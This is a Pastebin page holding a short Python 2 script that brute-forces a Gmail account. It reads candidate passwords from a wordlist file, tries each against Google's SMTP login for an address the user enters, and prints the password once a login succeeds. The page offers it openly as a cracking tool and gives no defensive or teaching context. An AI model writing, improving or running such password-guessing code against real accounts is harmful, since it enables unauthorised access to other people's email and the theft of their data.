Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import smtplib,time
- import socket
- def main():
- File = open('file.txt','r')
- server = smtplib.SMTP("smtp.gmail.com",587)
- server.ehlo()
- server.starttls()
- server.ehlo()
- key = raw_input('Press Enter to start cracking')
- if key or not key:
- print "Connected to googlemail", "\n"
- gmail_user = raw_input("Enter mail: ")
- while True:
- line = File.readline()
- if len(line) == 0: # Zero length indicates EOF
- print('All password tried!')
- raw_input('Press Enter to Exit')
- return None
- try:
- server.login(gmail_user, line)
- print "Sucesfully logged in"
- print "Email:", gmail_user
- print "Password:", line
- print
- except:
- pass
- main()
Add Comment
Please, Sign In to add comment